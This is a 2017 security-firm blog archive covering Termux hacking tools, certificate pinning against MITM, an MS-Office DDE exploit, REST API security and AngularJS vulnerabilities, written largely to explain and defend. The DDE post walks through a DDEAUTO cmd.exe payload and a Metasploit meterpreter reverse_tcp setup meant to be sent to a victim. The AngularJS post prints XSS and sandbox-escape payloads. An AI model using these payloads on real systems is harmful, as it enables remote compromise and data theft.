Friday 29 December 2017

How your employee’s smartphones are serious threat to your organization?

HOW YOUR EMPLOYEE’S SMARTPHONES ARE SERIOUS THREAT TO YOUR ORGANIZATION?

Employee’s smartphones are a serious threat to the organization since it is allowed to use in the production environment. Android is the most popular mobile OS with more than 60% market share. As Android is ruling smartphone and tablet markets, developers are also creating more apps for Android devices. This is the reason why the Android market has millions of apps. Like websites, apps also need penetration testing to check for various vulnerabilities. Security testing for Android apps will need to have a penetration testing environment on your Android device.
Almost all Useful Hacking Tools, Scripts can be used on Your Android Mobile. Termux is a Powerful app which can be used to install useful packages, Hacking Tools On your Android
By installing this program, you can hack anything that comes to mind. From targeting websites, hacking computers, sniffing networks, brute forcing passwords, information gathering and many more.
For more details about termux can be found in their official termux page. Link for the has given below
Installation
Google Play: https://play.google.com/store/apps/details?id=com.termux
F-Droid: https://f-droid.org/packages/com.termux/

INSTALLING PACKAGES FROM THE REPOSITORY

To install your favorite tool in termux you can run
pkg install <package name>
Example
pkg install nmap 
To get list of available packages in termux, run
pkg list-all
To search a package
pkg search nmap
To show more info about a package
pkg show nmap

INSTALLING .DEB FILES

Manual way of installing .deb files
pkg install ./package.deb
or
dpkg -i ./package.deb
Termux packages are built using Ubuntu 16.10, so this means that developers can compile any existing software from their machine and then add it to the package manager for anyone to download. It is a very simple and elegant solution to what otherwise could be a complex and difficult problem. One amazing side effect of this is that once the software is compiled, you have full-fledged versions of the software rather than half-baked, ported versions of desktop Linux packages.
Termux gives you a bash terminal by default, but if you are like me and prefer Zsh for its advanced features, the FISH shell is also available. Multiple different shell types are certainly welcome.
Anyone that has used a terminal emulator application on Android knows the pain when you need to enter special keys to control the terminal such as CTRL or ESC. These keys aren’t displayed on the standard touch keyboards used on android devices (save for Hacker Keyboard). Termux developer Fredrik Fornwall, though, has a very novel solution to this. He has bound CTRL to the Volume DOWN key and other special keys like ESC to the Volume UP key. Therefore, by pressing Volume Up + the touch keyboard ‘L’ you can input the terminal command CTRL + ‘L’ which clears the terminal window. The ESC key is sent by pressing volume UP + ‘E’ key for example. You can view all the keys available in Termux on the developer’s website

FEATURES OF TERMUX API

Secure. Access remote servers using the ssh client from OpenSSH. Termux combines standard packages with accurate terminal emulation in a beautiful open source solution.
Feature packed. Take your pick between Bash, fish or Zsh and nano, Emacs or Vim. Grep through your SMS inbox. Access API endpoints with curl and use rsync to store backups of your contact list on a remote server.
Customizable. Install what you want through the APT package management system known from Debian and Ubuntu GNU/Linux. Why not start with installing Git and syncing your dotfiles?
Explorable. Have you ever sat on a bus and wondered exactly which arguments tar accepts? Packages available in Termux are the same as those on Mac and Linux – install man pages on your phone and read them in one session while experimenting with them in another.
With batteries included. Can you imagine a more powerful yet elegant pocket calculator than a readline-powered Python console? Up-to-date versions of Perl, Python, Ruby, and Node.js are all available.
Ready to scale up. Connect a Bluetooth keyboard and hook up your device to an external display if you need to – Termux supports keyboard shortcuts and has full mouse support.
Tinkerable. Develop by compiling C files with Clang and build your own projects with CMake and pkg-config. Both GDB and storage are available if you get stuck and need to debug.
term up has a list of command, all those can be found at link given
https://github.com/termux/termux-packages/blob/master/packages/command-not-found/commands.h

INSTALL SQLMAP

Let’s do a practical session on how to install sqlmap on our android device.
As we know that sqlmap is a most amazing website vulnerability scanning tool which is mostly used by pen testers, Hackers, Security Researchers and so on.
Sqlmap is written in Python programming language environment, so that we need to have python installed in termux ,to install python in termux, run the command
pkg install python2
once the installation is complete, we need to install git package because we are going to download sqlmap from the git repository
to install git in termux
run the command :
pkg install git
now its time to install our favorite tool sqlmap
so run: git clone https://github.com/sqlmapproject/sqlmap.git
  the download process and the installation process will take some time, once it’s been done
then navigate to the sqlmap directory using the following command
cd
then list the files using ls command
now navigate to the sqlmap-dev folder using “cd sqlmap-dev”
once you entered into the folder, list the files using ls command
so you will see the executable file of sqlmap
since sqlmap run under python, so we need to run using the following command
python2 sqlmap.py
bingo … now we have successfully installed sqlmap on our android device itself. Using the same method we can able install different tools on our android device.
Termux: Hackers Perspective
Before termux was originated, hackers were using so many application to perform different attacks. But now everything has come into single app, which is termux. Now this the time where hackers will take over every system easily.
Hackers install Kali Linux on their android phone but it requires some time and patient, but this app looks alternative for the kali.
So now hackers got the best handy tool. Hackers can able to get into your network and he/she can able to perform post exploitation techniques such as MITM, exploitation, etc.
Mitigation from hackers attacks
  • The users need to take necessary precautions in order to protect their devices, as the hackers can exploit any network using termux without the knowledge of the user.
  • Patch anything and everything. Keep in mind that your secure environment from a month ago is now wide open thanks to Patch Tuesday
  • The second Tuesday of each month when Microsoft releases security patches.
  • Some months there are in excess of 30 patches released. That’s 30 potential vulnerabilities. Miss a month … 60 … two months … 120. Hackers are always finding new attack holes and methods into the system software.
  • Patches and new versions of system software are frequently released to fix these newfound problems.
  • Hackers are a close-knit community and they are more than willing to share your network’s flaws with their neighbors.

Be prepared and Be secured!!!

Author
Venkatesh C>S
Security Engineer
BriskInfosec Technology and consulting PVT LTD
Follow me @ https://www.linkedin.com/in/venkatesh-c-s-44174711b/

Saturday 16 December 2017

MAN IN THE MIDDLE ATTACK ON MOBILE APPLICATIONS

MAN IN THE MIDDLE ATTACK ON MOBILE APPLICATION BECOMES SERIOUS THREAT

WHAT IS MAN IN THE MIDDLE ATTACK?

Man in the middle attacks (MITM) is one of the attacks where the attacker interrupts between the sender and receiver and gathers the sensitive data. MITM attacks, which are a form of session hijacking are not new. However, what might not be known is that mobile devices are vulnerable to MITM attacks too. It is quite complex for the attacker to inject the MITM attack on mobile applications than on web applications.

HOW DOES A MAN-IN-THE-MIDDLE ATTACK WORK?

A man-in-the-middle attack (MITM) is like eavesdropping. Data is sent from point A (Mobile) to point B (server/website), and an attacker can get in-between these transmissions. They then set up tools programmed to “listen in” on transmissions, intercept data that is specifically targeted as valuable, and capture the data. Sometimes this data can be modified in the process of transmission to try to trick the end user to expose sensitive information, such as login credentials. Once the user has fallen into the trap, the data is collected from the target, and the original data is then forwarded to the planned destination unaltered.

MAN IN THE MIDDLE ATTACK ON MOBILE APPLICATIONS

For mobile apps to prevent these types of attacks it is important to look at how the mobile app performs authentication. Using certificate pinning within the mobile app helps ensure that the mobile app is communicating with the device it is expecting to communicate with.

TYPES OF MITM ATTACKS

  • ARP Poisoning
  • DNS Spoofing
  • Port stealing
  • Invisible Proxy
  • Certificate Forgeing
In this blog, we will discuss the major attack (SSL PINNING)

SSL PINNING

Certificate pinning is hard-coding the certificate known to be used by the server in the mobile application. The app can then ignore the device’s trust store and rely on its own, and allow only SSL connections to hosts signed with certificates stored inside the application.
The client makes a connection to the server and the server responds with its SSL certificate. If that certificate was issued by a Certificate Authority that is trusted by the OS, then the connection is allowed.

 CERTIFICATE PINNING FOR ANDROID AND IOS APPS

When we, developers, are working in the development of any kind of software, we can’t forget about security. The minimum security measure we should use is HTTPS as the protocol to share information between a client (in this case, an Android/iOS app) and a server, followed by an updated cryptographic protocol like TLS 1.2 (SSL 3.0 is vulnerable!)
You may think that using an HTTPS is enough but in some cases like banking applications, where sensitive data may be sent between our client and our server, could be risky.
By default, when making a TLS connection, the client check two things:
  • The server’s certificate matches the requested hostname.
  • The server’s certificate has a chain of truth back to a trusted root certificate.
What it doesn’t do is check, if the certificate is the specific certificate you know your server is using, and that’s a possible security vulnerability, if the client is compromised and an unsafe certificate is installed(certificate forging), someone could do a man-in-the-middle attack.
Root CA, intermediate CA and Medium certificate
The solution to this problem is certificate pinning. Storing a certificate on our client application to ensure that any SSL request made matches the server’s certificate provided by a trusted CA (certificate authority). Let us see how to do it on both Android and iOS apps.

ANDROID

OkHttp lib provides a CertificatePinner class to be added to an OkHttpClient instance. The easiest way to pin a host is turned on pinning with a broken configuration and read the expected configuration when the connection fails.
CertificatePinner certificatePinner = new CertificatePinner.Builder()
          .add("mydomain.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
          .build();
      OkHttpClient client = OkHttpClient.Builder()
          .certificatePinner(certificatePinner)
          .build();
After a request is executed, you’ll see this message on the console:
javax.net.ssl.SSLPeerUnverifiedException: Certificate pinning failure!
    Peer certificate chain:
      sha256/afwiKY3RxoMmLkuRW1l7QsPZTJPwDS2pdDROQjXw8ig=: CN=mydomain.com, OU=PositiveSSL
      sha256/klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=: CN=COMODO RSA Secure Server CA
      sha256/grX4Ta9HpZx6tSHkmCrvpApTQGo67CYDnvprLg5yRME=: CN=COMODO RSA Certification Authority
      sha256/lCppFqbkrlJ3EcVFAkeip0+44VaoJUymbnOaEUk7tEU=: CN=AddTrust External CA Root
    Pinned certificates for mydomain.com:
      sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
    at okhttp3.CertificatePinner.check(CertificatePinner.java)
    at okhttp3.Connection.upgradeToTls(Connection.java)
    at okhttp3.Connection.connect(Connection.java)
    at okhttp3.Connection.connectAndSetOwner(Connection.java)
The exception will provide you the server’s certificate public key hashes. Paste them on the CertifinatePinner and done! Once the certificate pinner function is enabled in the Android app it will have protection against        SSL MITM attacks
CertificatePinner certificatePinner = new CertificatePinner.Builder()
        .add("mydomain.com", "sha256/afwiKY3RxoMmLkuRW1l7QsPZTJPwDS2pdDROQjXw8ig=")
        .add("mydomain.com", "sha256/klO23nT2ehFDXCfx3eHTDRESMz3asj1muO+4aIdjiuY=")
        .add("mydomain.com", "sha256/grX4Ta9HpZx6tSHkmCrvpApTQGo67CYDnvprLg5yRME=")
        .add("mydomain.com", "sha256/lCppFqbkrlJ3EcVFAkeip0+44VaoJUymbnOaEUk7tEU=")
        .build();

IOS

The iOS solution is not so straightforward because you need to store the certificate itself inside your app. In my case, I’ve used Alamofire as HTTP client lib for Swift.
First, you need to get the server’s certificate in .der format and add it to your iOS project.
openssl s_client -showcerts -server name mydomain.com -connect mydomain.com:443 </dev/null | openssl x509 -outform DER > mydomainCert.der
And now, let’s enable certificate pinning: to do it we need both ServerTrustPolicy and SessionManager objects. The first one will define the hostname and certificates that will be used in the process:
var serverTrustPolicies = [
     "mydomain.com": .pinCertificates(
     certificates: ServerTrustPolicy.certificates(),
     validateCertificateChain: true,
     validateHost: true
   ),
 ]
ServerTrustPolicy.certificates() will return all stored certificates and the booleans will validate the certificate chain and the hostname.
Lastly, create a SessionManager object using this trust policies:
var sessionManager = SessionManager(serverTrustPolicyManager: ServerTrustPolicyManager(policies: serverTrustPolicies!))
Done! Just use this sessionManager object to execute request
sessionManager.request(“https://mydomain.com/api”, method: .get, headers: headers)…
Conclusion:
Since MITM attacks are stealthier and it does not need any physical access to the victim device, a robust protection mechanism is required to prevent it. Hence SSL pinning is a much needed robust protection as it protects the application against MITM attacks by only allowing the connections to the server based on the trusted CA certificates.

Friday 15 December 2017

MS-OFFICE DDE Code Execution Vulnerability


BEWARE OF MS-OFFICE DDE CODE EXECUTION VULNERABILITY


INTRODUCTION:

DDE (Dynamic Data Exchange) protocol is an inbuilt feature in Microsoft Windows Applications used for the exchange of dynamic data between the applications. DDE protocol sends messages between the applications that share data and uses shared memory to exchange data between applications.
There are many applications available which use DDE feature which includes MS-Word and office 365, visual basic etc..,

DDE VULNERABILITY AND CODE EXECUTION:

For Data transfer between the applications, DDE work by executing the application, that will provide the data. If an attacker can inject a malicious code inside the DDE object field of the application (In our example we use MS-word), the attacker can execute code within the word document or excel sheet. Another advantage for the attacker is, unlike other client-side code execution attacks that use a malicious doc file which when opened, prompts the victim to enable macros in order to run the malware, these DDE exploits don’t need the victim to enable macros feature in his ms-word application. When the malicious doc is opened, it simply throws an error dialog box to the victim, which most of the users will click ‘OK’ and they will ignore it. Hence there is a higher chance for the attackers to gain access to victim machine by using this vulnerability.
Since DDE is an inbuilt feature, the malicious document cannot be identified as a threat by any Anti-virus software or windows defender. This is another big advantage for the attacker and hackers.
In this article, we will look at a demo starting with a simple code execution example by using DDE vulnerability to a complete compromise of a victim system using Metasploit.

SIMPLE CODE EXECUTION IN MS-WORD:

In MS-Word (All versions are vulnerable), open a blank new document or we can use an existing document for legitimacy purpose which will be helpful for luring the victim to believe that the document is legitimate and trusted. For our example, I’m using a blank document.
In the blank document, go to insert tab → Quick parts → Field

Fig.1 Blank Document
In the Field dialog box, select Formula option to insert our DDE exploit code.

Fig.2 Insertion in Formula option
After that, you should see a Field inserted into the document with an error “!Unexpected End of Formula”, right-click the Field, and choose Toggle Field Codes. we need to craft a DDE Object payload in the text field, which will start the malware or any code of our choice when the document is opened.

Fig.3
In the text field, insert the following code for executing notepad.exe when the document is opened.
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}
The DDEAUTO keyword is to inform Ms Word that this is a DDE field, and will auto execute when the document is opened, the second part is the full path of the executable to execute, and the last part between quotes are the arguments to pass to this executable (execute notepad.exe).
Fig.4
After that save the document as any name. Once the victim opens the doc, notepad.exe is executed after 2 error messages.


Fig.6
After these two errors, which most of the users will ignore, notepad gets executed without any macros.

Fig.7
In this way, an attacker can execute malicious code without any user interaction to take full system control.

SYSTEM COMPROMISE USING DDE EXPLOIT IN METASPLOIT:

Since the makers of Metasploit has not released the exploit in its update, we will get the exploit from outside and import it to Metasploit database. Download the exploit using command
wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
After that just move the exploit dde_delivery.rb to use/share/Metasploit-framework/modules/exploit/windows directory. After that open msfconsole and reload the database using command reload_all.
After the exploit is loaded in Metasploit, we can use it to exploit our victim. In msfconsole set the below command parameters.
Use exploit/windows/dde_delivery
 set SRVHOST
 set payload windows/meterpreter/reverse_tcp
 set LHOST
 set LPORT
 exploit

Fig.8
Once we give the exploit command, it will generate a DDE exploit payload. We need to copy it paste it to the DDE formula field that is described in above example.
Fig.9
Save the document and send it to the victim. Once the victim opens the document and ignores the error, we will get the remote system access via meterpreter shell.
Fig.10
Once we get the shell, we can interact with sessions – I command.

Fig.11
In this way, attackers can compromise the system without any knowledge of users and also without triggering any alerts from the firewall. Microsoft has released some initial patches for this vulnerability.

MITIGATION FOR DDE VULNERABILITY:

1. Install windows security updates regularly.
2. Double the error messages while opening any msoffice documents instead of blindly clicking on OK button.
3. Do not open any unnecessary email attachments.
4. Use an up to date anti-virus and firewall software.
5. Disable DDE feature in windows registry by using the key
{HKEY_CURRENT_USER\Software\Microsoft\Office\\Excel\Security} workbooklinewarnings(DWORD)=2

Since DDE is a Microsoft’s genuine feature, most antivirus solutions do not flag any warning or block MS Office documents with DDE fields. The best way to protect yourself from such attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.
RiskInfosec provides the world’s best security solutions. For Best Security Solutions reach us @ Contact@briskinfosec.com.

REFERENCES:

1) https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
2) https://technet.microsoft.com/en-us/library/security/4053440.aspx

AUTHOR

Dawood Ansar
Security Engineer
BriskInfosec Technology and consulting  PVT LTD
FInd me @https://www.linkedin.com/in/dawood-ansar-29403213b/

Wednesday 29 November 2017

SECURING – REST API

SECURING – REST API

DESCRIPTIONNow a day’s modern websites and mobile apps are built through more web services with APIs. By using APIs and web services every application functions around intelligent platforms every day for performance, scale, offload, and reliability to so-called “single-page” websites and mobile applications.

To protect the API certain protection should take like controlling API requests, inspect JSON and XML API calls to ensure web server remains available and the data on it is secure. Building custom or own REST API will need to consider the issues surrounding security, scalability, and reliability.
Security Preventions for Protecting API
  • Protecting Simple App ID Key
  • Secure the Communication Channel
  • Prevent Call Tampering
  • Securing the Secrets
  • Handling User Credentials
  • Switching to an OAuth2 Authorization
  • Special Considerations for Mobile Clients

PROTECTING SIMPLE APP ID KEY

The simplest API key is just an application or developer ID string. To access an API, the developer registers his application with the API service and receives a unique ID to use when making API requests. For each API call, the client passes the API key within the HTTP request. An API key is part of the authorization header, for example:
authorization: key some-client-id
API key used to gather statistics about API usage such as call counting or traffic sourcing, can rejecting calls from non-app user agents. If the simple API request call and key are passes in the clear text, a man in the middle attack could successfully modify any API call or reverse engineer the API and can use the API key to create malicious API calls. If API key is compromised, it cannot be blacklisted without breaking existing application instances and requiring an upgrade for the entire installed base.
In this diagram, the client is a mobile application. The resource owner is the application user, and a resource server is a backend server interacting with the client through API calls.

SECURE THE COMMUNICATION CHANNEL

There is a standard approach to secure an HTTP channel for confidentiality, integrity, and authentication through Transport Level Security (TLS). Client and server exchange verify each other’s public keys with mutual Transport Level Security (TLS). Client and server do know which public keys to expect by certificate pinning, so they compare the actual exchanged keys with the expected ones, rather than verifying through a hierarchical chain of certificates.
Client and server must keep the private keys secure. Once the keys are verified, the client and server negotiate a shared secret, a message authentication code (MAC) and encryption algorithms.
The SSL/TLS are secure communication channels which used for API to ensure the protection and its features are mentioned in below image:
Many aspects of such a channel are set through parameters and callback functions:
  • The endpoint role: client or server
  • Verification takes place in the authentication mode
  • The TCP/IP module is provided in the Host-to-host communication channel
  • The random number generator (RNG)
  • The ciphers to use for encryption/decryption
  • Session control functions
  • 509 parameters for certificate-handling and key exchange
This module can be used to create an SSL/TLS server and client and to provide a basic framework to setup and communicate through an SSL/TLS communication channel. The attacks like Man in the Middle cannot be performed in TLS over client traffic when the victim is using an uncompromised mobile device.
Unfortunately, if an attacker can install your client application on a device he controls, he can use a packet sniffer to observe the public key exchange and use that knowledge to decrypt the channel to observe the API key and reverse engineer your APIs. While he may not be able to observe traffic on other clients, he can now create his own malicious app, freely calling your API over a TLS-secure channel. So even when using TLS, you will need additional security to prevent APIs being called from unauthorized applications.

PREVENT CALL TAMPERING

To prevent web parameter tampering, when the user is authenticated it is authorization that grants him permissions to access particular resources. Authorisation in a REST scenario should be implemented on the server side. If a user Tom tries to modify purchase resources by sending an authenticated (e.g. using Basic HTTP Auth, authorized session cookie, etc.) POST request to /purchases/1 endpoint (supplied with appropriate payload). It is the server’s duty to validate if Tom is allowed to modify the entity (e.g. by checking if it was really Tom who made the purchase). If the permission is granted the server proceeds with the operation and responds with 2xx success HTTP status code. Otherwise, 403 error code will be returned informing that the user is not authorized to modify the given purchase. After authorization mechanisms are established an attacker tries to give malicious inputs to overcome authorization mechanisms.
The best improvement can be done is to separate the API key into an ID and a shared secret.  The ID portion of the key is passed with each HTTP request, but the shared secret is used to sign and/or encrypt the information in transit. To ensure message integrity, the client computes a Message Authentication Code(MAC) for each request using the shared secret with an algorithm such as HMAC SHA-256. Using the same secret, the server computes the received message MAC and compares it with the MAC sent in the request.
An attacker can see the ID, without the secret, he cannot properly sign the request so an attacker can still deny or replay the request, but he cannot alter it. The communication channel should never have the secret stored but client and server know it. To further protect critical information from being observed, all or portions of a message can be encrypted before signing using key material derived from the shared secret.

SECURING THE SECRETS

The secrets will be protected by application package like SHARED_SECRET, this package backend can be compromised and further also extract the constant by a hacker in given time. To secure secrets first step is using code obfuscators to make it harder to locate and extract the secret constant. The second step would be encoding a static secret in some computationally simple way, cut that encoding into small segments, and distribute them around the binary. When checking the secret just reassemble and decode the secret in memory never save it in persistent storage.

HANDLING USER CREDENTIALS

The API secret should be secured at any cost, if it is stolen by any hacker all app instances will be compromised and have revocability issues too. Also, secure enhancing API security using application keys is first part but handling user credentials. When the client requests a user to provide user ID and password using basic authentication, which encodes and passes the credentials to the server. Valid credentials get logged and start a user session and return a user session key. When multiple authentications using same credentials should always return different key strings.

SWITCHING TO AN OAUTH2 AUTHORIZATION

The popular way to authenticate user access by OAuth2 authorization token, which is secured by
  • Switching to an Authorization Token
  • Using separate User Authorization from Service
  • Authenticate the App, not just user
  • Should have short token life
The OAuth2 authorization framework defines several authorizations but most service providers follow the full specifications of developer implementation. The OAuth2 follows basic access authentication is called resource owner password credentials grant.
In this process, the mobile client can obtain the resource owner’s id and password credentials directly and also passes them to its back-end resource server. The back-end server validates and the credentials, and returns an access token to the client.
The above image explains about OAuth 2 basic authorization grant flow. JSON web tokens (JWT) which are secure, URL-safe method for representing claims and often used as OAuth2 access tokens. There are different ways that the token can be validated by the resource server. One common approach is to sign the JWT token using a secret known to both the resource server and the authorizing service, which in this case is the resource server itself. An attacker cannot modify a token’s claims without invalidating the signature.
A JWT contains a JSON formatted payload describing a set of claims by which the access token is also called a bearer token and is passed with every API call, typically as an HTTP request header.
The REST web services client uses XML or JSON to secure the API, but a better way to secure the web and mobile applications using JWT. Another step is to separate user Authorisation from service, security can be enhanced. By this way, the user credentials are never exposed to the client or the resource server. In OAuth the authorization and resource servers are separated, when the user submits his/her credentials the authorization server validates the credentials and redirects the access token through the user agent and back to the client. This can be a risky assumption. For example, if an attacker can compromise the user-agent, the attacker may be able to view the access token and subsequently use the token to make valid but malicious API calls.
The OAuth2 authentication using JWT access tokens has one great thing is short lifetime which means an expiration time it works for a limited period only. It refreshes the token after each expired and new token can be received along with an access token during initial authorization.
The above image shows the refresh tokens have longer lifetimes than access tokens but the resource owner will not need to authenticate again until the refresh token expires. If an access token is compromised, then its malicious use is limited to a short time with each refresh, in addition to the new access token, a new refresh token can also be sent. The old refresh token can be immediately blacklisted, or more complicated token rotation schemes can be used to frustrate the malicious use of an individual token.

SPECIAL CONSIDERATIONS FOR MOBILE CLIENTS

The clients from both public and confidential are differentiated in OAuth2. A confidential client able to protect a secret, while a public client cannot make the same guarantee because the OAuth2 specification RFC6749 recommended only to confidential clients, so they can only use authorization grant flow, which uses client secret for authentication. Since public clients cannot protect a secret, they must use an implicit grant flow which does not authenticate the client nor allow refresh tokens. OAuth2 considers mobile apps to be public clients but most authorization service providers elected to implement the authorization grant flow for their mobile apps. This provides the user convenience of refresh tokens but at greater risk unless an alternative to client secrets is used for client authentication.

CONCLUSION

We have discussed how to secure REST API in a very simple example of API Key usage and iteratively enhanced the API protection to secure the communication channel and authorize both clients and users using API keys. Then We had the small introduction of JWT tokens and we moved keys to JWT tokens within several OAuth2 scenarios, in that final implementation, we will remove user credentials and static secrets.
We also combined both user and app authentication services, which provides a robust defense against API abuse.
finally,We have discussed a few threat scenarios and extended the authorization mediator to provide strong authorization.
We Briskinfosec are providing the best solution for API Security.Get in touch to know more about us.

Wednesday 22 November 2017

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

 

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

WHAT IS ANGULAR.JS?Angular.js is an application name estranged into two parts Angular and .JS. Angular defined as the significant meaning of having one or more angles. As well, .js is an extension name of JavaScript, the platform for this framework. It is built on the belief that declarative programming should be used to create user interfaces and connect software components, while imperative programming is better suited to define an application’s business logic

WHY ANGULAR.JS?

Angular.js is used to create a front-end web application framework or RIA (Rich Internet Application). It is the Open source and has some most important core features. Also, it aims to simplify both the development and the testing of such applications by providing a framework for client-side Model View Controller (MVC) and Model View View Model (MVVM) architecture. As we are going to develop web-based applications using AngularJS, it will be good if you have a basic understanding of other web technologies such as HTML, CSS, AJAX, etc.
Following are the most important core features of AngularJS             
A single-page application (SPA) is a web application or website that interacts with the handler by dynamically altering the current page rather than loading entire new pages from a server. This methodology avoids disruption of the user experience between uninterrupted pages, making the application behave more like a desktop application.

THE SCOPE OF ANGULAR.JS SECURITY:

 The angular route is a javascript code block. An Attacker can download and know that how your client side route is working. So, Angular app security scope always lies in client-side browser

We will see the vulnerabilities for software flaws and human source code (human errors) in angular.js

COMMON SECURITY ISSUES WITH ANGULAR JS:

Angular.js package affected some of the following most common vulnerabilities.
  • JSONP Callback Attack
  • Bypass Content Security Policy (CSP)
  • Arbitrary Script Injection
  • Cross Site Scripting (XSS)
  • Clickjacking
  • Arbitrary Code Execution
  • Arbitrary Command Execution
  • Unsafe Object Deserialization
  • Protection Bypass

JSONP CALLBACK ATTACK:

  • JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.
  • Any URL could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.

BYPASS CONTENT SECURITY POLICY (CSP):

Extension URIs (resource://…) bypass Content-Security-Policy in Chrome and Firefox can always be loaded. Now if a site already has an XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular’s Auto-bootstrapping can be used to bypass the victim site’s CSP protection.

ARBITRARY SCRIPT INJECTION:

  • AngularJS is affected Arbitrary Script Injection, link[href] attributes were not protected via $sce, which prevents interpolated values that fail the RESOURCE_URL context tests from being used in the interpolation. For example, if the application is running at https://docs.angularjs.org then the following will fail:
      <link href="{{ 'http://mydomain.org/unsafe.css' }}" rel="stylesheet">
  • By default, RESOURCE_URL safe URLs are only allowed from the same domain and protocol as the application document.

CROSS SITE SCRIPTING (XSS):

AngularJS is vulnerable to Cross-site Scripting (XSS) due to the usemap attribute not being blacklisted.

CLICKJACKING:

AngularJS is affected to clickjacking, By enabling the SVG setting without taking other precautions, you might expose your application to click-hijacking attacks. In these attacks, sanitized SVG elements could be positioned outside of the containing element and be rendered over other elements on the page (e.g. a login link). Such behavior can then result in phishing incidents.
To protect against these, explicitly setup overflow: hidden css rule for all potential SVG tags within the sanitized content:
  .rootOfTheIncludedContent svg { overflow: hidden !important; }

ARBITRARY CODE EXECUTION:

Angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution via unsafe SVG animation tags.     
Exploit Example:
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
Here the anchor’s href is animated, starting from a value that’s a javascript URI. This allows execution of arbitrary javascript in the process. Preventing only the animation of links is tricky, as SVG is weird and namespaces aren’t predictable. The fix is to have the sanitizer filter out SVG animation tags instead.

ARBITRARY COMMAND EXECUTION:

One of the angularjs affected versions of the package is vulnerable to Arbitrary Command Injection due to the assignment functions accessing constructors functions, allowing attackers to execute their malicious code.

UNSAFE OBJECT DESERIALIZATION:

AngularJs affected versions of the package are vulnerable to Unsafe Object Deserialization.
The exploitable code:
hasOwnProperty.constructor.prototype.valueOf = valueOf.call;
["a", "alert(1)"].sort(hasOwnProperty.constructor);
  The exploit:
  • sort takes a comparison function and passes it 2 parameters to compare.
  • It then calls .valueOf() if the result is not a primitive.
  • The Function object conveniently accepts two string arguments, it can be used to construct a function. However, this doesn’t do much unless it can be executed.
  • The valueOf function on Function.prototype was set to Function.prototype.call. This causes the function constructed to be executed when sort calls .valueOf() on the result of the comparison.

PROTECTION BYPASS:

AngularJS affected version of the package are vulnerable to Protection Bypass via ng-attr-action and ng-attr-srcdoc allowing binding to Javascript. The fix was to require bindings to form[action] to be $sce.RESOURCE_URL and bindings to iframe[srcdoc] to be $sce.HTML

MITIGATING COMMON VULNERABILITIES IN ANGULAR JS:

  • Updating the latest package version of AngularJS.
  • Monthly checks the software updates for the future.
  • Must install updates or upgrades the latest patches regularly.
  • Also, check the Angular changelog for other security-related updates.

  VERSION:

The AngularJS is the concept of a component-based application architecture. As well as many developers believed and also it provided additional security, despite numerous vulnerabilities that had been discovered that bypassed the sandbox. So the current stable release of AngularJS is (1.6.6).

INJECTION ATTACKS ON ANGULAR JS:

 THE METHODOLOGY OF TEMPLATE INJECTION:

We have defined the following methodology to capture an efficient attack process, based on my experience auditing a range of vulnerable applications and template engines:

SERVER-SIDE TEMPLATE INJECTION:

  • The server is a mechanism to store data and code. So, it must not generate templates based on user inputs and it allows users to inject template directives. It is implemented in the logic of Javascript.
  • Template injection vulnerabilities can be very serious and can lead to complete compromise of the application’s data and functionality, and often of the server that is hosting the application.

  IMPACT:

An attacker using malicious template directives may able to execute arbitrary code and take full control of the web server. Also, possible to use the server as a platform for further attacks against other systems.

PREVENTION:

  • It is recommended to define your Angular templates statically and populate your templates through data bindings on the client-side.
  • Don’t dynamically generate angular templates on the server side.
  • Templates should not be created from the user-controlled User input should be passed to the template using template parameters.

CLIENT-SIDE TEMPLATE INJECTION:

  • When applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered. So that the framework will scan the page for template expressions, and execute any that it encounters.
  • By using curly braces it’s possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application. These expressions will be evaluated on the client-side by AngularJS and when combined with a sandbox escape.

       IMPACT:

  • An attacker can exploit this by supplying a malicious template expression that launches a cross-site scripting (XSS) attack. As with normal cross-site scripting, the attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.
  • Client-side template frameworks often implement a sandbox aimed at hindering the direct execution of arbitrary JavaScript from within a template expression. However, these sandboxes are not intended to be a security control and can normally be bypassed.

       PREVENTION:

  • avoid using server-side code to dynamically embed user input into client-side templates. If this is not practical, consider filtering out template expression syntax from user input prior to embedding it within client-side templates.
  • HTML-encoding is not sufficient to prevent client-side template injection attacks because frameworks perform an HTML-decode of relevant content prior to locating and executing template expressions.
  • It recommends to treat either curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely.

BEST PRACTICES FOR SECURING ANGULARJS :

  • JSON vulnerability allows third-party website to turn your JSON resource URL into JSONP request under some conditions. It is recommended to prefix all JSON requests with the following string “)]}’,\n”. Angular will automatically strip the prefix before processing it as JSON.
  • Angular provides a mechanism to prevent XSRF. When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF – TOKEN) and sets it as an HTTP header (X – XSRF – TOKEN). The header will not be set for Cross-domain
  • The HTML compiler will escape all {{}} & ng-bind by default. So you must include user-generated HTML. (e.g) rich text editors. Take advantage of the services and directives. ng-bind-HTMLhtml (from angular-sanitize)
  • Print as is removing “script” tags (beware of img tags). Fully customizable with $sceProvider & $SanitizeProvider.
